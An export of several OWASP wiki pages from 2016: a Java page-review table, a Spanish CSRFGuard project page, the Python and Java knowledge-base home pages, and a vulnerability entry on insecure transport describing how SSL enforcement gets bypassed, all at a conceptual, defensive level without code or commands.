|[[J2EE third party libraries insecurity]]
|
|
|
|-
|[[JAAS Timed Login Module ]]
|
|
|
|-
|[[JAAS Tomcat Login Module]]
|
|
|
|-
|[[Java Project Article Wishlist ]]
|
|
|
|-
|[[Java Security Frameworks]]
|
|
|
|-
|[[Java Security Resources ]]
|
|
|
|-
|[[Java Server Faces ]]
|
|
|
|-
|[[JSP errorPage]]
|
|
|
|-
|[[JSP JSTL ]]
|
|
|
|-
|[[Leftover Debug Code]]
|
|
|
|-
|[[Log Forging ]]
|
|
|
|-
|[[Logout]]
|
|
|
|-
|[[Member Field Race Condition]]
|
|
|
|-
|[[Missing Error Handling]]
|
|
|
|-
|[[Mobile Java Security ]]
|
|
|
|-
|[[Null Dereference]]
|
|
|
|-
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]
|
|
|
|-
|[[Often Misused: Authentication ]]
|
|
|
|-
|[[Overly-Broad Catch Block]]
|
|
|
|-
|[[Overly-Broad Throws Declaration]]
|
|
|
|-
|[[OWASP CSRFGuard Project/es ]]
|
|
|
|-
|[[OWASP Java Table of Contents]]
|
|
|
|-
|[[Parameter Validation Filter]]
|
|
|
|-
|[[Password length & complexity]]
|
|
|
|-
|[[Password Management: Hardcoded Password]]
|
|
|
|-
|[[Password Management: Weak Cryptography ]]
|
|
|
|-
|[[Password Plaintext Storage ]]
|
|
|
|-
|[[PDF Attack Filter for Java EE ]]
|
|
|
|-
|[[Poor Logging Practice]]
|
|
|
|-
|[[Preventing LDAP Injection in Java]]
|
|
|
|-
|[[Preventing SQL Injection in Java ]]
|
|
|
|-
|[[Process Control]]
|
|
|
|-
|[[Protecting code archives with digital signatures]]
|
|
|
|-
|[[Reflection attack in an auth protocol]]
|
|
|
|-
|[[Return Inside Finally Block]]
|
|
|
|-
|[[Securing tomcat]]
|
|
|
|-
|[[Servlet spec - web.xml]]
|
|
|
|-
|[[Session Fixation]]
|
|
|
|-
|[[Session Timeout]]
|
|
|
|-
|[[Signing jar files with jarsigner ]]
|
|
|
|-
|[[State synchronization error]]
|
|
|
|-
|[[Struts]]
|
|
|
|-
|[[Struts Validation in an ActionForm]]
|
|
|
|-
|[[Struts Validation in validator.xml using an ActionForm]]
|
|
|
|-
|[[Struts XSLT Viewer]]
|
|
|
|-
|[[Traducción Español]]
|
|
|
|-
|[[Trust Boundary Violation]]
|
|
|
|-
|[[Trustworthy Java]]
|
|
|
|-
|[[Uncaught exception]]
|
|
|
|-
|[[Unchecked Return Value: Missing Check against Null ]]
|
|
|
|-
|[[Unreleased Resource]]
|
|
|
|-
|[[Unsafe JNI]]
|
|
|
|-
|[[Unsafe Mobile Code]]
|
|
|
|-
|[[Unsafe Reflection ]]
|
|
|
|-
|[[Using JCaptcha ]]
|
|
|
|-
|[[Using the Java Cryptographic Extensions]]
|
|
|
|-
|[[Using the Java Secure Socket Extensions]]
|
|
|
|-
|[[XPATH Injection Java ]]
|
|
|
|-
|[[OWASP's_ESAPI_Wiki_for_Java!]]
| Check Project Status
|
| The entire ESAPI For Java project needs a review. In progress on ML.
|}

Shared Google document used to write reviews:

https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing

=About=

OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016

<br>

{{Template:Project About
| project_name =OWASP Java Project WIPRO 1 - 2015/2016
| project_description =
| project_license =
| leader_name1 =
| leader_email1 =
| leader_username1 =
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name =
| links_url1 =
| links_name1 =
| links_url2 =
| links_name2 =
}}

__NOTOC__
<headertabs />

<br/>

[[Category:Java]]

OWASP CSRFGuard Project/es

2016-02-14T11:20:24Z

Imifos:

==Descripción general==

Justo cuando los desarrolladores están empezando a correr en círculos alrededor de [[Cross Site Scripting]], el [http://www.darkreading.com/document.asp?doc_id=107651&WT.svl=news1_2 'gigante dormido'] despierta por una catástrofe web mas. [[Cross-Site Request Forgery]] (CSRF) es un ataque donde la victima es engañada para cargar información desde o enviar información hacia una aplicación web en la que esta actualmente autenticada. El problema es que la aplicación web no tiene medios para verificar la integridad de la petición. El proyecto OWASP CSRFGuard trata de resolver este problema a través del uso de un token de petición único.

[http://www.owasp.org/index.php/How_CSRFGuard_Works Click aquí] para mas información acerca del diseño e implementación de CSRFGuard.

==Licencia==

CSRFGuard es ofrecido bajo [http://www.gnu.org/copyleft/lesser.html LGPL]. Para mayor información sobre las licencias de OWASP, favor de consultar la pagina de licencias de OWASP: [[OWASP Licenses]] (en ingles).

== Descargas ==

=== Versión 1===

[http://www.owasp.org/index.php/Image:CSRF_Guard.zip Click aquí] para descargar la ultima versión de la serie OWASP CSRFGuard 1.x.

=== Versión 2===

[http://www.owasp.org/index.php/Image:OWASP-CSRFGuard-2.0.jar Click aquí] para descargar la ultima versión binaria de OWASP CSRFGuard 2.0.

[http://www.owasp.org/index.php/Image:OWASP_CSRFGuard-2.0-src.zip Click aquí] para descargar la ultima versión de OWASP CSRFGuard 2.0 fuente, binarios y archivos muestra de configuración '''(Recomendado)'''.

[http://www.owasp.org/images/c/c9/CSRF_DangerDetectionDefenses.ppt Click aquí] para descargar la presentación del autor en la conferencia OWASP 2007 en San José acerca de los peligros de CSRF y una breve descripción de CSRF Guard y CSRF Tester.

== Instrucciones de instalación ==

[http://www.owasp.org/index.php/CSRFGuard_1.x_Installation Click aquí] para ver las instrucciones de instalación de la serie OWASP CSRFGuard 1.0.

[http://www.owasp.org/index.php/CSRFGuard_2.0_Installation Click aquí] para ver las instrucciones de instalación de la serie OWASP CSRFGuard 2.0.

== Plan de trabajo ==

[https://www.owasp.org/index.php/CSRF_Guard_2.2_Roadmap Click aquí] para ver el plan de trabajo (roadmap) para la ultima versión de desarrollo de CSRFGuard. Siéntase libre de agregar sus propios requerimientos de cambios o enviarme parches/retos.

==CSRF Testing Tool==

Vea la herramienta [http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project OWASP CSRF Tester] la cual le permite probar vulnerabilidades de CSRF. Esta herramienta también esta escrita en Java.

==Comentarios y participación ==

Esperamos que encuentre útil a CSRFGuard. Por favor contribuya con el proyecto enviando sus comentarios, preguntas y sugerencias a OWASP. Gracias!

==Proyectos Similares==

Hay un pequeño numero de otros proyectos que implementan el concepto de token de petición único similar al de CSRFGuard. Son los siguientes:

:*http://www.owasp.org/index.php/PHP_CSRF_Guard
:*http://www.thespanner.co.uk/2007/10/19/jsck/
:*http://www.owasp.org/index.php/.Net_CSRF_Guard

==Donaciones==

OWASP es puramente una comunidad open source impulsada por el esfuerzo. Como tal, todos los proyectos y esfuerzos de investigación son contribuidos y mantenidos con un “tiempo libre” individual. Si encuentra útil este o algún otro proyecto, por favor apoye a OWASP con una [https://www.owasp.org/index.php/Contributions donación].

==Patrocinadores del proyecto==

El proyecto OWASP CSRFGuard es dirigido por Eric Sheridan (eric dot sheridan at owasp dot org) y patrocinado por [http://www.aspectsecurity.com https://www.owasp.org/images/d/d1/Aspect_logo.gif].

[[Category:OWASP_Validation_Project]]
[[Category:OWASP_Project|CSRFGuard Project/es]]
[[Category:Java]]

Category:Python

2016-02-02T15:16:58Z

Imifos: /* Team */

= Main =

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

== About ==

The Python technology knowledge base is the clearing house for all information related to building secure web/distributed applications and services based on Python and Python related technologies. The focus of the project is on guidance for developers and architects using Python frameworks and Python based technologies for web and distributed application development, on OWASP components that use Python and on participation in OWASP projects that use Python technologies. Moreover, we aim to provide security related guidance for system administrators managing Python and Python based applications and tools.

A different aspect is using Python as active languages for writing security related tools. Due to its presence on all kind of systems and the availability and power of security libraries, it is one of the major programming languages to implement security applications and scripts.

Community content is key to security information.

==Purpose==

* Provide deep, rich guidance for Python developers in using the security features of Python and of Python frameworks.
* Guide system administrators in managing Python and Python related components and applications.
* Create guidance for use of OWASP components that are designed for use with the Python platform.
* Focus on information about working with and on OWASP tools built using Python technologies.
* Provide a stream of security related information, like vulnerabilities and security patches, related to the Python universe.
* A different aspect is using Python as active languages for writing security related tools.
* Build an ecosystem allowing to all actors interested to discuss, share and learn.

== Licensing ==

OWASP Python technology knowledge base is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== Team ==

Lead: none.

<br/>

== Meta ==

Last Update: 1/2016

<br/>

== Other Resources ==

<br/>

== Related Projects ==

* [[OWASP_Project|OWASP Project Repository]]
* [[Language|Languages Repository]]
* [[OWASP_.NET_Project|.NET Project]]
* [[Ruby|Ruby]]
* [[PHP|PHP]]
* [[Perl|Perl]]
* [[Python|Python]]
* [[JavaScript|JavaScript]]
* [[C/C++|C/C++]]
* [[SQL|SQL, PL/SQL, DB Scripting]]
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]

|}

= Resources =

{| style="padding:0; margin:0; margin-top:10px; text-align:left; width:100%;" |-
| valign="top" style="border-right: 1px dotted gray; padding-right:25px; width:30%; float:left;" |

== Mailing List ==

[https://lists.owasp.org/mailman/listinfo/owasp_python_security_project OWASP Python Security Project Mailing List]

| valign="top" style="padding-left:25px; width:30%; min-width:30%; border-right:1px dotted gray; padding-right:25px; float:left;" |

== Twitter Feed ==

(none)

| valign="top" style="padding-left:25px; width:30%; float:left;" |

== Code Repository ==

(none)

|}

== Related Resources ==

[[OWASP_Project|OWASP Project Repository]]

[[Language|Languages Repository]]

[[OWASP_.NET_Project|.NET Project]]

[[Ruby|Ruby Technology Knowledge Base]]

[[PHP|PHP Technology Knowledge Base]]

[[Perl|Perl Technology Knowledge Base]]

[[Python|Python Technology Knowledge Base]]

[[JavaScript|JavaScript Technology Knowledge Base]]

[[C/C++|C/C++ Technology Knowledge Base]]

[[SQL|SQL, PL/SQL and DB Scripting Technology Knowledge Base]]

[[OWASP_Internet_of_Things_Project|OWASP IoT Security Project]]

[[OWASP_Mobile_Security_Project|OWASP Mobile Security Project]]

= Pages =

== Tools Chain ==

<TBD>

<br/>

<br/>

== Libraries ==

{| width="100%"
| colspan="2" | [[OWASP_Python_Security_Project]]
|-
| width="20" |  
| Python Security is a free, open source, OWASP project that aims at creating a hardened version of python that makes it easier for security professionals and developers to write applications more resilient to attacks and manipulations. The project is designed to explore how web applications can be developed in python by approaching the problem from three different angles: white-box analysis, structural and functional analysis, black-box analysis, identify and address security-related issues, develop security hardened python suitable for high-risk and high-security environments
| http://www.pythonsecurity.org/
|-
| colspan="2" |  
|-
| colspan="2" |  
|-
| width="20" |  
|  
|  
|}

<br/>

<br/>

== General Documents ==

{| width="100%"
| [[OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide|OWASP Secure Coding Practices - Quick Reference Guide]]
| [[OWASP_Codes_of_Conduct|OWASP Codes of Conduct]]
| [[Cheat_Sheets|OWASP Cheat Sheets Series]]
|-
| [[OWASP_Testing_Project|OWASP Testing Project]]
| [[OWASP_Top_Ten_Project|OWASP Web Top 10]]
| [[OWASP_Vulnerable_Web_Applications_Directory_Project|OWASP Vulnerable Web Applications Directory]]
|}

<br/>

<br/>

= Tasks and Roadmap =

== Ongoing Operations ==

(coming soon)

{| width="100%"
| colspan="2" |  
|-
| width="20" |  
|  
|}

<br/>

== Upcoming Operations ==

None at the moment.

{| width="100%"
| colspan="2" | Python security related net resources guide
|-
| width="20" |  
| The Python Project is principally about creating deep, rich guidance for Python developers using all kind of security resources. The idea is to have an effort of building a internet resource guide for everything around the Python universe. Information, blogs, articles, tools, test servers and more. Important however is that this list is seriously curated.
|-
| colspan="2" |  
|-
| colspan="2" | Concrete guideline for Python developers
|-
| width="20" |  
| Clear checklists, around various topics, language, servers and frameworks.
|}

<br/>
== Archived Operations ==

None at the moment.

<br/>

= Get involved =

There are many ways of getting involved in an OWASP wiki bases.

The first step would be to establish contact with the project leaders and/or the entire team. This can be done using a direct and private message, or by joining the public mailing list to say hello.

When it comes to participating in project activities, everything depends on the time you are willing and able to invest. It is however very important to not jump into too many things at the beginning, later having to back out or to let unfinished things behind you. It is much better to start with small tasks, increasing intensity and investment over time.

Please also be patient with expecting the "merge" of your work into the existing project pages and code. As everywhere in live, trust has to be built-up.

The Python Project has currently multiple tasks open, which can be found on the adequate section of this page. Not all tasks require a wiki account. Please take something you are interested in and start participating.
Work load is not the only outcome when participating in open projects. You are getting a lot of things back: recognition, satisfaction, knowledge and contacts, sometime friends.

Sounds cool? Then jump in...

= Archives =

(Nothing yet)

<hr/>

__NOTOC__
<headertabs />

<br/>

'''IMPORTANT: all pages of these project are currently under review. A lot are outdated and are in the process of being removed or updated.'''



[[Category:Technology]]
[[Category:Language]]

Category:Java

2016-02-02T14:39:25Z

Imifos:

= Main =
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

== About ==

The OWASP Java™ and JVM Technology Knowledge Base is the clearing house for all information related to building secure web/distributed applications and services based on Java and JVM technologies. The focus of these pages is on guidance for developers and architects using Java frameworks and JVM based technologies for web application development, on OWASP components that use Java and on participation in OWASP projects that use Java and JVM technologies. Moreover, we aim to provide security related guidance for system administrators managing Java and JVM based applications and tools.

The project is not limited to Java. It aims to also address topics around the JVM in general.

Community content is key to security information. The project depends on content from developers throughout the Java and JVM ecosystem.

==Purpose==

* Provide deep, rich guidance for Java developers in using the security features of Java and of Java frameworks.
* Address security in relation to the Java Virtual Machine and derived technologies.
* Guide system administrators in managing Java and JVM related components and applications.
* Create guidance for use of OWASP components that are designed for use with Java or other JVM languages.
* Focus on information about working with and on OWASP tools built using Java or other JVM technologies.
* Provide a stream of security related information, like vulnerabilities and security patches, related to the Java and JVM universe.
* Build an ecosystem allowing to all actors interested to discuss, share and learn.

== Licensing ==

OWASP Java™ and JVM Technology Knowledge Base is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

Oracle® and Java™ are [http://www.oracle.com/us/legal/trademarks/index.html|registered trademarks of Oracle] and/or its affiliates. Other names may be trademarks of their respective owners.

== What's Hot! ==

See the "Tasks and Roadmap" tab for more information.

[[OWASP Java Project WIPRO 1 2015|Wiki Pages Review Operation - 2015/2016]]

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

[[File:OWASP_Java_Wiki_logo.png|frame]]

<br/>

</>

== Team ==

TBD

== Meta ==

Last Update: 1/2016

Last Pade Modification: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

<br/>

== Other Resources ==

[http://lists.owasp.org/mailman/listinfo/java-project Mailing List]

[https://github.com/owasp GitHub (OWASP)]

<br/>

== Related Projects ==

* [[OWASP_Project|OWASP Project Repository]]
* [[Language|Languages Repository]]
* [[OWASP_.NET_Project|.NET Project]]
* [[Ruby|Ruby]]
* [[PHP|PHP]]
* [[Perl|Perl]]
* [[Python|Python]]
* [[JavaScript|JavaScript]]
* [[C/C++|C/C++]]
* [[SQL|SQL, PL/SQL, DB Scripting]]
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]

|}

= Resources =

{| style="padding:0; margin:0; margin-top:10px; text-align:left; width:100%;" |-
| valign="top" style="border-right: 1px dotted gray; padding-right:25px; width:30%; float:left;" |

== Mailing List ==

[http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Technologies Mailing List]

| valign="top" style="padding-left:25px; width:30%; min-width:30%; border-right:1px dotted gray; padding-right:25px; float:left;" |

== Twitter Feed ==

[https://twitter.com/owasp Twitter, OWASP]

| valign="top" style="padding-left:25px; width:30%; float:left;" |

== Code Repository ==

[https://github.com/owasp GitHub OWASP Global Repository]

|}

== Related Project Resources ==

[[OWASP_Project|OWASP Project Repository]]

[[Language|Languages Repository]]

[[OWASP_.NET_Project|.NET Project]]

[[Ruby|Ruby Technology Knowledge Base]]

[[PHP|PHP Technology Knowledge Base]]

[[Perl|Perl Technology Knowledge Base]]

[[Python|Python Technology Knowledge Base]]

[[JavaScript|JavaScript Technology Knowledge Base]]

[[C/C++|C/C++ Technology Knowledge Base]]

[[SQL|SQL, PL/SQL and DB Scripting Technology Knowledge Base]]

[[OWASP_Internet_of_Things_Project|OWASP IoT Security Project]]

[[OWASP_Mobile_Security_Project|OWASP Mobile Security Project]]

= Related OWASP Project Pages =

== Tools Chain ==

{| width="100%"
| colspan="2" | [[OWASP_SonarQube_Project|OWASP SonarQube Project]]
|-
| width="20" |  
| The first goal of the OWASP SonarQube Project is to a create a referential of check specifications targetting OWASP vulnerabilities and that can be detected by SAST tools (Static Application Security Testing). From there, the second goal is to provide a reference implementations of most of those checks in the Open Source SonarQube language analysers (Java, JavaScript, PHP and C#). SonarQube is an Open Source platform for managing code quality.
|-
| colspan="2" |  
|-
| colspan="2" | [[OWASP_Dependency_Check|OWASP Dependency Check]]
|-
| width="20" |  
| Dependency-Check is a utility that identifies project dependencies and checks if there are any known, publicly disclosed, vulnerabilities. Currently Java, .NET, Ruby, Node.js, and Python projects are supported.
|}

<br/>

<br/>

== Libraries ==

{| width="100%"
| colspan="2" | [[OWASP_Java_HTML_Sanitizer|OWASP Java HTML Sanitizer]]
|-
| width="20" |  
| The OWASP HTML Sanitizer is a fast and easy to configure HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.
|-
| colspan="2" |  
|-
| colspan="2" | [[OWASP_Java_Encoder_Project|OWASP Java Encoder Project]]
|-
| width="20" |  
| The OWASP Java Encoder is a Java 1.5+ simple-to-use drop-in high-performance encoder class with no dependencies and little baggage. This project will help Java web developers defend against Cross Site Scripting.
|}

<br/>

<br/>

== General Documents ==

{| width="100%"
| [[OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide|OWASP Secure Coding Practices - Quick Reference Guide]]
| [[OWASP_Codes_of_Conduct|OWASP Codes of Conduct]]
| [[Cheat_Sheets|OWASP Cheat Sheets Series]]
|-
| [[OWASP_Testing_Project|OWASP Testing Project]]
| [[OWASP_Top_Ten_Project|OWASP Web Top 10]]
| [[OWASP_Vulnerable_Web_Applications_Directory_Project|OWASP Vulnerable Web Applications Directory]]
|}

<br/>

<br/>

== Retired, Inactive or Outdated Projects ==

{| width="100%"
| colspan="3" | [[https://www.owasp.org/index.php/OWASP_ESAPI#tab=Downloads|OWASP ESAPI Project Java Implementation]]
|-
| width="20" |  
| The Java and Java EE implementation of ESAPI Project is outdated and integrates various security issues, according to the bug tracker. It is strongly recommended to not employ this library in production code anymore and use alternative OWASP libraries instead. It still is useful for learning purposes.
| width="20" |  
| [[https://owasp-esapi.atlassian.net/projects/ESAPILEG/issues/ESAPILEG-309?filter=allopenissues|Bug Tracker]]
|}

= Tasks and Roadmap =

== Ongoing Operations ==

{| width="100%"
| colspan="2" | [[OWASP Java Project WIPRO 1 2015|Wiki Pages Review Operation - 2015/2016]]
|-
| width="20" |  
| General review of all Java and JVM related pages in the wiki.
|}

<br/>

== Upcoming Operations ==

None at the moment. Everything is ongoing or in early idea state.

<br/>

{| width="100%"
| colspan="2" | Java and JVM security related net resources guide
|-
| width="20" |  
| The OWASP Java and JVM Technology Knowledge Base is principally about creating deep, rich guidance for Java and JVM developers using all kind of security resources. The idea is to have an effort of building a internet resource guide for everything arounf the JVM universe. Information, blogs, articles, tools, test servers and more. Important however is that this list is seriously curated.
|-
| colspan="2" |  
|-
| colspan="2" | Concrete guidline for Java and JVM developers
|-
| width="20" |  
| Clear checklists, around various topics, language, servers and frameworks.
|}

<br/>
== Archived Operations ==

None at the moment.

<br/>

= Get involved =

The first step would be to establish contact with the project leaders and/or the entire team. This can be done using a direct and private message, or by joining the public mailing list to say hello.

When it comes to participating in project activities, everything depends on the time you are willing and able to invest. It is however very important to not jump into too many things at the beginning, later having to back out or to let unfinished things behind you. It is much better to start with small tasks, increasing intensity and investment over time.

Please also be patient with expecting the "merge" of your work into the existing project pages and code. As everywhere in live, trust has to be built-up.

The Java and JVM knowledge base has currently multiple tasks open, which can be found on the adequate section of this page. Not all tasks require a wiki account. Please take something you are interested in and start participating. Work load is not the only outcome when participating in open projects. You are getting a lot of things back: recognition, satisfaction, knowledge and contacts, sometime friends.

Sounds cool? Then jump in...

To get involved join the mailing list, follow this link: [http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Mailing List]

= Archives =

The previous version of this JAVA Project home page is archived here: [[OWASP Java Project Archive (8.2010)]]

<br/>

<hr/>

__NOTOC__
<headertabs />

<br/>

'''IMPORTANT: all pages of these project are currently under review. A lot are outdated and are in the process of being removed or updated.''' The review effort is coordinated on this page: [[OWASP Java Project WIPRO 1 2015|Wiki Pages Review Operation - 2015/2016]].

(The pages in the "old" category "OWASP Java Project" have to be moved into the category "Java". Work is in progress).

<categorytree mode=pages>OWASP Java Project</categorytree>



[[Category:Technology]]
[[Category:Language]]

Insecure Transport

2016-02-02T14:35:00Z

Imifos: category correction

{{Template:Vulnerability}}

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==
The application configuration should ensure that SSL is used for all access controlled pages.

If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. However, it is not an uncommon problem that the configuration of the application fails to enforce the use of SSL on pages that contain sensitive data.

There are three common ways for SSL to be bypassed:

* A user manually enters the URL and types "HTTP" rather than "HTTPS".
* Attackers intentionally send a user to an insecure URL.
* A programmer erroneously creates a relative link to a page in the application, failing to switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

==Risk Factors==

TBD

==Examples==

* Login pages are not SSL protected
* A publicly accessible page contains a relative link to a protected page which forgets to switch to SSL.

==Related [[Attacks]]==

* Attackers that are trying to steal login credentials, session IDs or other sensitive information
* Bypassing SSL by entering HTTP instead of HTTPS
* Sending insecure URLs of protected pages to the victim (e.g. login page) to trick the victim into accessing the privileged pages via HTTP

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

* [[Control 1]]
* [[Control 2]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==

TBD

[[Category:FIXME|add links

In addition, one should classify vulnerability based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Vulnerability]]</nowiki>

Availability Vulnerability

Authorization Vulnerability

Authentication Vulnerability

Concurrency Vulnerability

Configuration Vulnerability

Cryptographic Vulnerability

Encoding Vulnerability

Error Handling Vulnerability

Input Validation Vulnerability

Logging and Auditing Vulnerability

Session Management Vulnerability]]

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Deployment]]
[[Category:Java]]
[[Category:Environmental Vulnerability]]
[[Category:Communication]]
[[Category:SSL]]
[[Category:Vulnerability]]